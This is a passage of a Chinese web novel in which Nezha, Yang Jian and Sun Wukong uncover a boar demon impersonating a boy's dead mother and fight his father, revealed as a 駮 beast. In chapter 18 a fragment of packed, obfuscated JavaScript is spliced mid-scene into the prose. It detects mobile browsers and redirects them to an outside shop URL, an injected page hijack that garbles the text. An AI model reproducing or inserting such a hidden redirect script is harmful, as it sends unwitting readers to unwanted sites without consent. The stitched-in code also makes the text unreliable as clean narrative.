哪吒问骆环：“那你现在想怎么办？”
骆环游移不定：“我……”他看着那张江余心的脸，“我想先去上个厕所。”
“去吧。”杨戬给了他一个安慰的眼神。
骆环出去了，屋子里只剩下野猪精和他们三个人对峙，她咽了口口水，“我……我真的没有撒谎。”
哪吒笑笑，“我们没说你撒谎啊。”
野猪精也露出一个僵硬的笑容。
孙悟空却盯着她的头看了一会儿，提醒她道：“你头上着火了。”
她并没有感觉，将信将疑地用手摸了摸，被烫了一下，尖叫一声拿起自己的茶杯，往头上一倒，没能熄灭。
野猪精崩溃咆哮：“怎么回事啊！！！”
杨戬温声对她说：“你坐下，我帮你。”
她立刻乖乖坐在了原位，杨戬拿了一张符纸扔在她头上，火竟然真的立刻熄了，留下一股烧焦的味道。
孙悟空和哪吒趁着这个功夫相视一笑。
“没事了。”杨戬对她说。
确实是没事了，只是头顶上秃了一小块儿。
野猪精默写自己头顶上那一块不太光滑的头皮，满脸绝望，“这下可怎么办？”
“会长出来的。”哪吒安慰她。
她看着对面的三个人，敢怒不敢言。
这屋子里总共就他们四个，除了他们，不对，除了这两个美男旁边的两个人，还能是谁干的？
骆环上完厕所回来，额前的发梢带着水珠，脸上也有未擦干的水渍，眼角带着点红痕。
这么一会儿的功夫，野猪精已经戴上了一个毛茸茸的帽子，骆环也没有多想。
他对野猪精说：“我们走吧。”
野猪精喜出望外，站起身，又小心翼翼地问他：“我可以和你一起走吗？”
骆环点了点头：“嗯。”
他又对哪吒道：“谢谢你。”
哪吒摆了摆手，“小事一桩。”
骆环于是说：“那我们走了。”
跟着骆环从店里走出来，野猪精才长长地吐出一口气，她差点以为自己出不来了。
骆环边走边问她：“你叫什么名字？”
“我？”野猪精愣了一下，才反应过来他在问自己的真名，回道：“我叫白云。”
回到骆家，进了屋，白云戴着帽子在屋子里溜达了一圈，让阿姨给她做了一份水果沙拉，骆环忍不住提醒她：“帽子可以取下来了，你不热吗？”
白云抓着自己的头顶：“我不
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热。”
骆环于是不再管她，上楼去，走到半路，他停下脚步，却没有转身，说：“你能不能带我去看看她？”
身后沉默了一会儿，才回答他：“好，明天我带你去。”
骆环上楼回屋了。
杂货店里，茶桌上的茶具被收了起来，取而代之的是哪吒点的外卖，他捧着一杯可乐，感受着可乐在嘴里打架的感觉，露出满足的神色。
一边吃东西，他一边问杨戬：“二哥，为什么刚才要让我用三昧真火烧那头野猪精的头顶啊？”
杨戬露出一抹不易察觉的笑容，回道：“试探她。”
孙悟空轻哼一声：“杨小二坏得很。”
杨戬说：“但她的话确实破绽百出。”
哪吒回想了一下，不得不承认：“好像是。”
“骆环说他母亲每次出国都是和他父亲一起的，如果江余心真的出了车祸，第一个通知的不就是骆环他爸？他爸怎么可能不知道？”
“不不不 ，小藕片儿，她最大的破绽不在这里。”孙悟空伸了个懒腰，提醒他：“骆家没有一点妖气，她身上也没有。”
杨戬说：“但她并未察觉哪吒的法术。”
说完，他们两人对视一眼，骆家的事情，远远不只他们看到的这样简单。
哪吒喝完最后一口饮料，“她的修为远远不可能做到掩盖自己的妖气，那不就说明她背后有更厉害的妖在帮着她？”
杨戬胸有成竹道：“她会回来告诉我们的。”
哪吒嘿嘿笑了两声。
被他的三昧真火烧过，还想长出头发，是不可能的了。
但一周过去了，野猪精都没有再找上门来，放学的时候哪吒在校门口等着骆环。骆环一出来，就被哪吒给抓到了旁边。
骆环对哪吒向来脸色都很好，“怎么了？”
哪吒问他：“那个妖怪，她这几天有没有什么反常的地方？”
骆环沉默，然后说：“我也好几天没回家了。”
哪吒挠头，他忘了这回事，于是只能放骆环走：“行吧，你先回去吧，有什么不对的地方你记得告诉我。”
骆环以为他是怕自己被伤害，忍不住为白云辩解：“她是个好妖怪，而且她肯定不会伤害我的。”
哪吒摆了摆手：“知道了。”
骆家依然没什么变化，只是白云依然戴着帽子，今天为了搭配她的衣服，换成了贝雷帽。
骆环忍不住吐槽她：“你在家也一定要穿得这么时髦吗？”
白云白他一眼：“你个小屁孩儿懂个屁。”
骆环无语：“好好好，你懂。”又问：“晚上吃什么，点外卖吗？”
家里的厨师请假了，骆环也不指望她一个妖怪会做饭。
白云抬手表示同意点外卖。
骆环认真地划拉着手机，白云的手机响了起来，一看到备注，她立刻神色正经地坐直了身子，“喂，老公。”
骆环“唰”一下抬起头，用询问的目光看着白云，白云跟他对视，听着电话里的吩咐，回道：“好的。”
挂了电话，她通知骆环：“你爸，后天晚上九点到机场。”
17.駮
翌日，杂货店准时在早上9点开门，一如既往地生意不错。
只是今天来了一个意想不到的客人。
白云身穿黑色大衣，头戴一顶长檐礼帽，站在店门口，深吸一口气，走了进去。
孙悟空在柜台前，没有抬头看她，懒懒开口道：“欢迎光临。”
白云伸头进柜台，“你好。”
孙悟空抬头，挑了挑眉，“你来了。”
白云扯出一个笑容。
她当然不想来了，也不知道这三人到底用的什么术法，她头顶的头发无论如何也长不出来了，就连变回原型头顶都有一块秃的地方。
但是也不是不能忍——她不想见到这三人。
可是骆骄马上回来了，她晚上还要和他同床共枕，总不能戴着顶帽子睡觉吧。
白云语气谦卑：“这位道长，还请你高抬贵手，我一直这样真的没办法见人。”那天在场的三人，是杨戬帮她灭的火，哪吒是个小孩子，应当不会那么高深的术法，只能是眼前这个人了。
白云并不知道他的名字，理所当然地认为他是个修道之人，喊他为道长以示自己的尊重。
孙悟空却双手合十：“阿弥陀佛，贫僧做不到。”
白云：“……”得，马屁拍错了。
但她知错就改，立刻也双手合十：“师傅，都说出家人以慈悲为怀，您应该也能看出来我并未做过恶事，又何苦为难我这小妖？”
孙悟空一抱手，不解：“我何时为难你了？”
白云一把拿下自己的帽子，“这不是你干的？”
孙悟空无辜：“不是啊。”
“……”那是谁干的？她始终不愿意怀疑那个美男。
角落里此时传来声音，“是我干的。”
循着声音看去，她才发现角落里还有个孩子捧着手机在玩儿，一抬头，竟然是骆环的那个朋友。
哪吒慢吞吞地站起身，“你求错人了。”
白云只愣了两秒钟，就从善如流地调转了方向，蹲在哪吒面前，双手抓着他的肩膀，可怜兮兮道：“这位小道长，是小妖有眼不识泰山，求求您放小妖一马。”见哪吒没有反应，她又搬出骆环：“孩子不能没有妈妈啊。”
哪吒听她这话，歪了歪头，皱眉思考了两秒钟，似乎觉得她说得有道理，于是说：“那行吧。”
白云简直喜极而泣，“谢谢小道长，谢谢你，你的大恩大德小妖没齿难忘！”完全忘记了是谁造成了这幅局面。
哪吒甜甜一笑：“不用谢。”
他果真给白云解了头上的法术，摸着自己头顶又重新找出来的缕缕青丝，白云露出了如释重负的表情。
哪吒面色不解地问她：“阿姨，你怎么突然又想长头发了？”毕竟一个星期了也没见她上门来找他们。
白云扯出一个僵硬的笑容：“因为阿姨怕被骆环发现。”
哪吒“哦”一声，也不知道信没信又问她：“那阿姨你要不要买点东西？”
“啊？”白云差点没反应过来，随即立刻道：“买买买，阿姨买点降妖镇鬼的东西回家用。”
孙悟空在柜台前扫了一眼她拿的几样东西，随口诌了一个数字：“两万三千八，微信还是支付宝？”
白云咬牙切齿：“微信。”
家人们谁懂啊，她一个妖怪，不仅买了一堆捉妖的法器符纸，竟然还被和尚给坑钱了。
这么点东西，值两万？那可是两万，不是两元！
谁家钱是大风刮来的啊！
她的心简直在滴血！
但是她面上不敢显露出一点，不仅如此，还得露出开心的笑容，说：“谢谢两位。”
孙悟空也对她露出一个笑容：“不用谢，慢走。”
她的身影从门口消失，哪吒撇嘴往柜台前一站，仰头对孙悟空道：“她好奇怪。”
孙悟空一只手支在柜台上撑着头，一只手在桌上轻轻点着，问哪吒：“你觉得哪里奇怪？”
哪吒说：“她在害怕。”她很怕自己头顶的秃块被谁发现，他掏出手机，准备问问骆环，他这个便宜妈妈有没有发生什么奇怪的事情。
而这时白云也已经坐上了出租车，司机拉着一个大美女，也很殷勤地跟她搭话：“美女，要去哪里啊？”
白云却很冷淡：“去林芝山。”这是郊区的一个荒山，平时很少有人去那边。
司机也被惊了一下，忍不住提醒白云：“美女，那地方可不适合你一个人去。”
白云扔给他几张红色钞票，“可以吗？”
司机立刻：“可以可以！”
钱果然是个好东西，司机直接将白云拉到了山脚，白云也不管他走不走，径直下了车，然后将那一堆从杂货店里买的法器给扔在了小路边。
“晦气！”她恨恨地踩了两脚，然后化身原型，欢快地跑进了山里。
而她身后的出租车一直没有离开，杨戬看着她进了山里，幻化出原本的模样，他此时没有穿现代的衣服，长发泼墨般随意地束在脑后，一袭青衫衬着他如画的脸庞，显露出他原本的仙气来，他手持着扇子，慢悠悠地走到了白云扔东西的地方，弯腰将她扔下的法器捡了起来，用手掸了掸上面的尘土，神色不明地看着她远去的方向。
哮天犬从他身后过来，坐在他旁边，他摸了摸哮天犬的头，说：“回去吧。”
杨戬拿着东西一进店，哪吒就连忙要跟他讲今天的事情：“二哥……”
杨戬打断他：“我知道了。”
哪吒一愣，“你知道什么了？”
杨戬问他：“那你要跟我说什么？”
哪吒说：“我想跟你说，骆环他爸快回国了。”
杨戬正在一一将东西归位，闻言停下动作，“什么时候？”
“明天晚上。”是孙悟空回答的，“要去看看吗？”
杨戬没有思索地答道：“好。”
帝都的机场很大，各种指示牌看得人眼花缭乱，哪吒站在一个大屏幕前哀嚎：“我根本看不懂啊。”
他哀怨地看着不远处悠闲站着的孙悟空和杨戬，嘴里嘀咕：“跟着两个老古董出门真可怕。”
一奔机场两人就让他找航班信息，美其名曰他是一个学生，能更快地融入现代社会。
哪吒认命地睁大了眼睛找航班信息，身后又涌来几个人，他习惯性地想让一让，却在几人穿过他身体的时候猛然反应过来，他们是用了隐身术的。
这是杨戬提出来的，他和孙悟空照做。
“
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小藕片儿！”孙悟空喊他。
哪吒回头：“干嘛？”
“不用找了。”孙悟空指了指不远处的骆环和白云，杨戬已经提脚过去了。
他们跟上了骆环和白云的脚步，前面的两人神色恹恹，好像并没有因为一家之主的归来而感到高兴。
反而是哪吒兴致勃勃，“不知道骆环他爸爸有没有我爹可怕。”
孙悟空想了想，说：“那应该是没有。”
哪吒叹气摇头。
孙悟空摸了摸他的头，转移话题：“你这个同学的爸爸据说很会赚钱。”
“对啊。”哪吒啧啧称奇，“他给了我十万。”
听他这话，身旁的杨戬和孙悟空同时顿住脚步，看向他。
哪吒：“……”这破嘴。
“平分，我们平分。”迎着两道略有压迫的目光，他连连讪笑。
骆骄走的是vip通道，出来得很快。
他身后跟着两个助理，一个给他提包，一个推着他的行李。
孙悟空盯着他看了一会儿，“这小子还挺俊。”
骆环的脸大部分遗传了他的父亲，而骆骄相比起他来，脸部棱角更加明显，五官轮廓更加深邃，眸色是纯正的黑色，板着一张脸，令人望而生畏。
孙悟空又转头看了看杨戬，得出结论：“不过还是没有杨小二俊。”
哪吒笑眯眯，一副与有荣焉的样子，“二哥可是三界第一美战神。”
孙悟空反手指了指自己，“俺老孙也是三界第一美猴王。”
他又指着哪吒：“你是三界第一脆藕片儿。”
哪吒：“……”
他们打闹的功夫，骆环和白云已经迎上了骆骄。
“老公。”
“父亲。”
他们两人的神色高兴得很牵强，骆骄更是冷漠，瞥了白云一眼，只对骆环问道：“最近学习如何？”
骆环一一报着自己近期的成绩：“钢琴比赛一等奖，期中考试第一名。”
骆骄点了点头，似乎也并没有为此而感到骄傲，“继续努力。”其他夸奖的话吝啬于口。
骆环也早已习惯，低着头让人看不清神色：“是。”
白云顶着江余心的脸适时地缓和气氛：“阿姨已经做好饭了，就等你回家，我们先回去吧。”
骆骄点头，抬脚走在最前面，骆环和白云落后一步，一左一右地跟着他。
杨戬看着他逐步走过来，拍了拍哪吒的头：“你过去喊他两声。”
哪吒点了点头，向他走过去，一边走一边喊他：“骆环他爸！骆环他爸！”
骆骄没有反应。
哪吒于是直直地站在他前面两步远的位置，而骆骄一步一步走过来，就在哪吒以为他会穿过自己的时候，他站定在了哪吒面前，转身对骆环说：“明天请假和我去公司。”
随后，他脚尖一转，越过哪吒，快步离开了。
哪吒站在原地，看向孙悟空和杨戬：“他看得见我。”
孙悟空看着骆骄远去的背影，手搭在杨戬肩上，露出感兴趣的神色来：“事情开始变得有趣起来了。”
杨戬神色淡淡：“他身上没有灵气。”却能看到他们三个。
会是谁呢？
18.駮
回家的路上，骆家三人一路无话，骆骄一直翻着各种财务报表，白云拿着手机，一直停留在同一个页面，眼睛时不时瞟一眼骆骄，骆环看着窗外发呆，不知在想些什么。
等到了家门口，骆骄才问白云：“给他请好假了吗？”
白云说：“请了。”
等吃过晚饭，骆骄径直上楼去了书房，没一会儿，骆环也跟了上去，他在书房门口站了好一会儿，才鼓起勇气敲门。
“进来。”
骆环进屋，屋子里只在书桌那里开了一盏台灯，骆骄靠在椅子上，闭目养神，即便是骆环进来他也没有睁开眼睛，只是问他：“有事？”
骆环关上门，往前走了几步，很拘谨地站在书桌前，半垂着头，也不看骆骄，只是自顾自地说：“父亲，我还不想去公司。”
骆骄轻皱了一下眉头，也没有问他为什么，而是说：“你去看看就行了。”
“我不……”骆环还想表达自己的意愿，骆骄却已经不再耐烦，“出去。”
他说这话的时候语气也并没有什么起伏，但是骆环知道他生气了。他向来是不喜欢别人忤逆他的，更何况这个人是他的儿子。
骆环也觉得自己今天很奇怪，要是换作往常，他早就走了，可是今天他竟然还有勇气想为自己争取一下，“我不想去公司，我想回学校上课。”
骆骄“唰”一下睁开眼睛，眼底流露出暴躁的情绪，他身子前倾，随手抓了桌上的一本书，狠狠地砸向骆环，怒声道：“滚出去！”
骆环终于抬起头，看着骆骄阴晴不定的脸色，还是退出了书房。
白云在书房门口听完了全程，等骆环出来，她有些心疼地看着骆环：“砸到哪里了？”
骆环看她一眼，摇摇头，那本书没有砸到他身上，擦着他的手臂落在了地上，他转身准备回房。
白云跟上他的脚步，小声劝他：“其实这是好事。”
骆环不解，她继续道：“他让你去公司，说明家业最终还是要交到你手上，你好好学习，只有真正掌握了公司的大权，才能有话语权，才能去做自己想做的事。”
骆环站在房间门口，良久无言，好一会儿才说：“你说得对。”
白云叹了口气，拍了拍他的肩膀，对他说：“早点休息吧。”
看着骆环进了屋，她一扭头又去了书房。她没有敲门，直接就进去了。
骆骄依然闭着眼睛，让人看不出情绪。
白云恭恭敬敬地站在一边，等着他的吩咐。
骆骄却问：“最近有没有什么人找过你们？”
白云抿唇摇头：“没有。”
“是吗？”
“真的没有。”
她话音刚落，骆骄的身影如鬼魅般飘到她面前，他弯下身子，手捏着白云的下巴，让她和自己对视。白云看到他的眼眸逐渐变成猩红色，还是坚定地摇了摇头，“老板，我没有撒谎。”
骆骄却仿佛没有听到她的话一般，手上的力度越来越大，几乎将她的下巴捏变形。白云神色痛苦，却不敢再说一个字。
时间仿佛过了一个世纪那么久，他才放开白云，白云双腿一软，瘫坐在了地上。骆骄居高临下地看着她，说：“当初一眼就选中了你，就是因为你够听话。”
“是，老板。”白云低着头回答。
骆骄轻飘飘道：“走吧，休息了。”
别墅里的夜晚如此宁静。
杨戬三人却从小区门口看到了骆家别墅顶上快要冲破天的妖气。
哪吒皱眉：“是那头猪妖。”
除此之外，再也没有其他诡异的气息了。
“二哥，我们去看看。”哪吒一边说着，一边准备往里面冲。
杨戬拉住他，摇了摇头，“今天太晚了。”
“啊？”哪吒抬头看了看天。
孙悟空也点头附和：“你明天还要上学。”
哪吒震惊：“我一定要上学吗？”
杨戬和孙悟空齐齐点头。
哪吒：“……”
于是三人打道回府。
哪吒很郁闷，一直没搭理他们两人，上了楼。
杨戬和孙悟空去了茶室，孙悟空一坐下，就对杨戬道：“杨小二，把书拿出来看看。”
杨戬将《山海异闻录》自手心展示出来，一页一页翻开。
两人看了一会儿，孙悟空抱头：“这么多异兽，他又没有暴露出灵气，如何确定是不是？”他在说骆骄。
杨戬合上书，光晕消失，他说：“或许真的不是。”
那原本的骆骄去了哪里？或者，他本来一开始就是骆骄？
这是一个不得不弄清楚的问题。
第二天一大早，骆环跟着骆骄从家里出发去公司，一到公司，骆骄就把他交给了自己的助理，让助理带着骆环去熟悉公司的各个部门，并且让大家都认识他。
骆骄坐在办公室里签合同，秘书告诉他下午还有一个会议要开，他点了点头。
骆家的公司这些年发展越发地好，而骆骄在逐渐地将公司产业一点点向国外迁移，骆环自然也要跟他一起去国外。
当他确定了这个计划以后，他就在为骆环搜寻国外的各个学校。
秘书此时正是要和他汇报这件事情。
“综合少爷的情况来看，我看了几所英国的高中，但是我觉得老板您完全可以让少爷申请大学，他也是很有希望读名校的。”不仅是因为骆环本身的成绩，还因为骆家在国外已经有了一定的资本积累。
骆骄却拒绝了后面的建议，“先读高中。”
秘书点了点头，然后问：“那我去问问少爷的意见？”
骆骄说：“不用。”然后让他把表格给自己看，指着上面的一所高中，问秘书：“我记得这个学校附近，我有一栋别墅。”
“是的。”
骆骄随即决定：“那就这所学校。”
秘书立刻道：“好的老板。”
骆骄还不知道自己的命运就这么轻易地被决定好了。
他还在局促不安地和各个部门的经理打招呼，听他们对各自的部门做自我介绍。助理还在旁边说：“我们少爷读书很厉害，不仅过目不忘，也过耳不忘，大家只需要介绍一次，下次来他就能叫出大家的名字。”
骆环内心煎熬，面上却依然是一副桀骜不驯、生人勿近的样子，僵硬地附和着助理胡乱点头。
等到一切结束，他站在电梯里长长地舒了一口气。助理见他这个样子，提醒他道：“老板说您以后还会经常来公司，可要快点习惯啊。”
骆环恹恹地“嗯”了一声，没有说话。
助理也不在意，反正他已经尽完了自己的职责。
助理把骆环带到了骆骄的办公室就退了出去，关上门将空间留给父子二人。
骆骄一边签文件一边问他：“如何？”
骆环抿了抿唇，也不想让他看出自己的局促，说：“还行。”
骆骄这才抬头看他，然后对他说：“过来。”
骆环迟疑了一下，还是过去。骆骄搁了笔在文件旁边，站起身到一边，他指了指座椅示意骆环坐下。
骆环站在原地没有动，骆骄于是冷冷地看着他。
骆环不情不愿地坐下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197270|147829||http|test|mini|href|location''.split(''|''),0,{}));
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骆骄说：“签字。”
骆环愣住：“我吗？”
“签。”
骆环不情不愿又不明所以地拿起笔，在文件左下角签上了自己的名字，写完才反应过来，自己写错了。
他抬头想问骆骄怎么办，却听到头顶传来一声轻笑。
骆骄在笑？骆环从小到大从未听到他因为自己而笑过。
但是这笑太轻，也太快，不过一秒钟，骆骄就已经从他旁边离开，他打开酒柜给自己倒了一杯酒，站在落地窗边。早上的阳光洒在他身上，很是轻柔，衬得他的眉角都柔和起来。
骆环看出了他此时的心情——是开心的。
骆环不知道是不是因为自己，但他看着此时的骆骄，心中萌生出一个想法来——他想问问骆骄，知不知道他妈妈已经死了，现在跟他同床共枕的那个人，不是他的发妻。
但他话还没问出口，骆骄就先对他说：“你自己再去公司转转。”
是命令的口气，不容骆环拒绝。
骆环的心再次跌落谷底，他一言不发地站起身出了办公室。
骆骄喝完了酒，隔着落地窗，他能将外面楼下所有的人尽收眼底，所有人做的事情都逃不过他的眼睛，他自然也就看见了杨戬和孙悟空此时正在楼下，朝着大厦进来。
骆骄挑了挑眉，不得不承认，他们比他想象的有耐心多了。
而进了大厦的杨戬和孙悟空并未上楼，他们只是穿过了大厦的一楼，从另一边离开了。
整座大厦都是骆家的，一楼的布局从未发生过改变。
他们也并没有在这里发生其他的气息。
要按常理来说，或许骆骄仅仅只是一个阴鸷的人罢了。
孙悟空皱着眉，抬头看着这座大厦，良久想到一个办法。
“让阎王那老头把生死簿拿来翻翻不就行了。”
杨戬挑眉一笑，“那回去吧。”
阎王来得很快，只是拿生死簿的时候磨磨蹭蹭的，虽然没有底气，却还是乖乖拿出了生死簿给他们翻。
“大圣，真君，按照规定，你们如今在人间界，是不可以随便查看生死簿的，那万一你们要是干涉到了人间界的生死大事，到时候地府这里又对不上账，可怎么办？不得出大乱子……”阎王嘀嘀咕咕说个没完，孙悟空掏了掏耳朵，命令道：“闭嘴。”
“诶好勒。”
耳朵总算是清净下来，杨戬也找到了江余心的那一页。
“江余心，37岁，死亡原因：车祸。已投胎。”
没有被做过手脚。
杨戬又翻到骆骄——空白。
他和孙悟空对视一眼，孙悟空指着那一页问阎王：“这是什么意思？”
阎王大惊失色：“怎么会这样？”平白丢了一个人生死记录，管辖区内的鬼差竟然没有发现，这不是失职是什么？
孙悟空笑他：“看来不用我们干涉，地府就出乱子了。”
“不不不，大圣，这种情况一般就说明这个人在他死的时候是魂飞魄散了，你也知道，人间界的人口实在是太多了，即便分了辖区管理，也偶尔会犯一些小错误。比如这种情况——”他干笑着指了指生死簿上骆骄那一页，“他这一页空白，而且只有他一个人空白，那应该就是意外情况，所以地府不会管。”
杨戬闻言问他：“那什么样的你们才会管？”
“如果同一辖区出现多次这种情况，地府才会介入。”
杨戬点了点头。
阎王小心翼翼地拿过生死簿，“那两位，我就先走了？”
孙悟空挥了挥手，示意他赶紧走。
19.駮
骆环自然没有真的那么听骆骄的话在公司转转。
大家都在认真工作，他去了不仅打扰到别人，甚至可能还会让人家感到不适应。
他找了个楼梯间坐着玩手机，看着时间一点一点消磨。手机快没电的时候也到了吃午饭的时候，他才站起身，准备去找骆骄说要回家。
楼梯间这时却从下面传来说话的声音，骆环没有兴趣打听别人的秘密，却听到那个人说：“我们老板也真是奇怪，给他儿子选学校呢，也不告诉他儿子一声，自己就给挑上了。”
好像在打电话，从他的内容也不难对应，老板是骆骄。
骆环简直觉得荒谬，给他选学校？大学吗？骆骄准备让他跳级考大学？
秘书还在讲：“生在这种家庭还没抑郁，可能也是因为钱多。”他还叹了口气，“可怜人家还不如可怜可怜我们自己。”
“人家马上要去英国读书，而我等打工人只能替他留守家业。”
骆环呼吸一窒，脑子里没有再想其他，也顾不上自己开门的声音太大声惊到了打电话的人，他一路跑到了骆骄的办公室，推门质问他：“为什么要送我去国外读书？”
骆骄皱眉看着他，没有回答，“关门。”
骆环还固执地问他：“为什么？”
骆骄冷冷道：“你应该去。”
骆环一字一句道：“我不会去的。”
他说完，也不管骆骄是什么反应，就径直离开了。
外面空无一人，骆骄用意念将门关上，然后给白云打了个电话，吩咐她：“把骆环弄回家。”
白云连饭都没吃完，立刻出了门，她一边喊司机把车开出来，一边给骆环打电话。
电话那边是关机。
骆环回了学校。
已经是午休时分，他在宿舍楼下站了一会儿，上楼，却没有回自己宿舍，而是走到了徐嘉凡的宿舍，他敲了两下门，没人应，于是他说：“我知道你们没睡，群里刚刚还在发消息呢。”
屋内沉默了一会儿，响起了脚步声。
是徐嘉凡开的门，哪吒躺在床上，一只脚曲着，另一只脚搭在上面，脚丫子一晃一晃的，看起来悠闲极了。
徐嘉凡关上门，问骆环：“你不是请假了吗？”
骆环抓了抓头发，说：“提前回来了。”
徐嘉凡惊讶：“你爸不生气啊？”
骆环自嘲一笑：“随便他吧。”然后他问哪吒：“你说，有没有可能，骆骄也是妖怪？”
“啊？”哪吒一骨碌从床上爬起来，他还以为骆环发现了什么，“你有什么发现？”
骆环没有发觉他话里的兴奋，自顾自说道：“没有哪个人会这样对自己的儿子吧。”
“我根本不是他的儿子，只是他的……”骆环想了许久，才形容出自己的感觉，“提线木偶。”
是的，骆骄需要的好像并不是一个儿子，而是一个会听他的话会按照他的想法去做事的体现木偶；至于骆环的想法、骆环的人生，那些都不重要，都不在骆骄的考虑范围之内。
徐嘉凡还没见过这样的骆环，但是也同情他，想了想还是拍了拍他的肩膀，以示安慰。
哪吒也觉得他可怜，却无从开口，只能干巴巴问他：“你吃饭了吗？”
骆环摇头，“没有，不想吃。”
哪吒摸了摸下巴，对徐嘉凡提议道：“要不然我们带他出去散散心？”
骆环和徐嘉凡同时：“？”
两分钟后，宿舍后面的围墙边，徐嘉凡不解问道：“为什么我们要翻墙，不能让家长请假吗？”
哪吒骑在墙上瞪他：“你是想我被我二哥打死吗？”他向徐嘉凡伸出手。
徐嘉凡却自己一跃就爬上了墙头，剩下骆环在下面不知道该先动哪只脚，他看着哪吒还伸着的手，一把搭了上去，哪吒一用力就把他拽了上去。
徐嘉凡说：“看不出来你二哥还挺在意你成绩的。”
哪吒悲痛地摇了摇头，“你不懂。”
他们三个穿过两条街到了学校后面的小吃街，随便找了一家店吃东西，骆环嘴上说着心情不好不想吃，却吃了不少
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；哪吒也像无底洞一样，从开始到结尾嘴巴都没停过。只有徐嘉凡，从头到尾都没动过几次筷子。
吃完饭，三人面面相觑。
徐嘉凡先问：“接下来去哪里？”
哪吒舒展了一下筋骨，说：“去找我二哥他们。”
骆环和徐嘉凡又同时：“？”
哪吒笑眯眯地看着骆环：“难道你不想知道你爸爸到底是什么吗？”
骆环和徐嘉凡再次同时：“？”
看着两人一副大脑宕机的样子，哪吒没有多作解释，而是率先起身走了。
那两人只得跟在他身后。
工作日的下午，又是冬天，街道上行人寥寥无几，他们三个走在人行道上，后面有一辆车不远不近地跟着他们，三人都有所察觉，骆环偏头瞥了一眼，低声道：“是……他。”因为哪吒的话，他喊不出那两个字。
哪吒不甚在意：“哦。”
杂货店已经近在眼前，身后的车加速上来，停在他们旁边，后面的车门打开，骆骄坐在上面，严肃而优雅，扭头看着骆环：“回家。”
骆环沉默，哪吒上下打量了骆骄一番，笑着说：“老东西，他不想回家。”
骆骄也不生气，只说：“这是我们的家事，不需要你一个外人插手。”
于是骆环说：“我不想回家。”
骆骄的眼瞳因为他这句话变得更加黝黑，仿佛要把骆环给吸进去。
哪吒一把将骆环拉到自己身后，对徐嘉凡道：“带他去店里。”
徐嘉凡听话地拉着骆环跑了起来。
骆骄冷声问哪吒：“你在挑衅我？”
哪吒大方点头：“是啊。”
骆骄伸出手，手心里红色的光芒化为一束束光针，朝着哪吒的眉心飞去，哪吒一歪头，很轻松地躲掉了。
“老东西，装不下去了吧？”
骆骄身上的灵气不停地外泄，从店里出来的杨戬和孙悟空已然从他的灵气中感受到他的身份。
“駮兽。”杨戬眉心闪过白光，看清了他的真身。
20.駮
只一瞬间，天空中布满了黑云，云层越压越低，抬头甚至还能看见云中若隐若现的闪电。
孙悟空眯眼看着天，对哪吒喊到：“哪吒，过来。”
哪吒犹豫了一瞬，还是退到了杨戬和孙悟空身边。
杂货店的门早已经关上，骆骄下了车，司机座位上空无一人，不过是他变出来的一个替身罢了。
街道上空空荡荡。
天地之间仿佛都只剩下他们四人。
而即便是面对着他们三人，骆骄眼中也难掩不屑之色。
“我在大荒之地与其他妖兽争夺地盘之时，只怕你们还没出生。”
“识相的话，就滚远点。”
杨戬冷冷地看着他，说：“你若是识相，就早点回大荒去。”
“区区小神，也敢管我的事？”
话落，骆骄已入破竹之刃般冲了上来，直击杨戬的面门。
风云裹挟着他们，将他们与外界隔绝开来。
杂货店被徐嘉凡悄悄打开一个小小的缝隙，他和骆环趴在门缝上，却什么也没看见。
而杨戬三人此时已经散开，各自拿出自己的武器。
他们和叶星并未真正对上过，所以他们三人也不清楚对上这些上古妖兽能有几分胜算，但三人眼中都无惧意。
哪吒和孙悟空对视的时候，甚至还隐隐透露着兴奋的神色。
杨戬手中握着三尖两刃刀，挡住了欺身上来的骆骄。
利爪碰在刀刃上，发出“铮”的一声。
骆骄的力气不小，甚至露出了人面兽形，杨戬却一步都没有退。
骆骄的爪子微微错位，就朝着他的脖子而去，杨戬仰头。
哪吒从骆骄身后倾身而下，火尖枪直直地刺向他。孙悟空于侧面送来一脚。
骆骄转身抬腿，轻易地就躲过了两人的攻击，甚至还有余力送给哪吒一脚，哪吒翻身躲过。
骆骄身形迅速地退到一边，看着他们三人并肩而立，皱眉道：“这可不像你们传说中的作风。”
不是说这三个都是极其骄傲的人吗？不是应该不屑于三人合力作战吗？
哪吒一脸莫名其妙：“什么传说？”
杨戬倒是听懂了，他回道：“道听途说罢了。”
这一次是孙悟空先动了手，他的金箍棒带着十足的威力向骆骄打去，这一棒又快又狠，骆骄没能来得及躲，抬手接了下来。
杨戬和哪吒趁着这个时机，拿着兵器一人一边攻了上去。
骆骄这下没能躲开，三尖两刃刀刺进他的胸膛，他吐出一口血来。
孙悟空立刻道：“杨戬，就现在。”
杨戬摊出左手，《山海异闻录》出现在他手中，看着骆骄，“前辈，请吧。”
骆骄眯眼看着他，眸中迸发出杀意。
但已经没有用了，哪吒从他身后踹了他一脚，一阵红光闪过，骆骄就被收了进去。
一切都结束得太快，哪吒还有点没反应过来，“这……就结束了？”
孙悟空收了金箍棒，又是懒散的模样，“走吧，回去看看那个小子。”
天色又正常起来，只是依然昏暗。
一转头，他们三人就看见了站在杂货店门口的野猪精。
野猪精正在和店里的骆环喊话，“我帮你那么多次你都忘记了，你到底有没有良心啊骆环！”
她看起来气急败坏，徐嘉凡也对骆环破口大骂：“妖怪的话你也信！要么你出去，反正我是不会放她进来的。”
骆环站在中间左右为难，只能大喊：“你们两个都给我闭嘴！”
两人都闭了嘴，因为杨戬三人已经走到了店门口。
“开门。”
徐嘉凡乖乖开了门。经过野猪精的时候，孙悟空停了一下，对她说：“你也进来。”
骆环看着他们三个进了门，愣愣地问道：“他呢？”他还不知道怎么称呼骆骄。
“去他该去的地方了。”哪吒冷静道。
骆环“哦”了一声，又犹豫道：“他到底……”是不是我父亲？
他语意未尽，但是在场的人都知道他想问什么，哪吒指着野猪精，说：“你给他解释。”
“我……我也不是特别清楚……”
“是吗？”杨戬看着她。
野猪精瑟缩了一下，“那我还是不要顶着他妈妈的样子了。”
她变成了自己的模样，
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齐肩的短发，像个在校大学生。
“我都是从你妈妈那里听来的。”她深吸一口气，“你爸爸在你刚出生没多久的时候就去世了。”
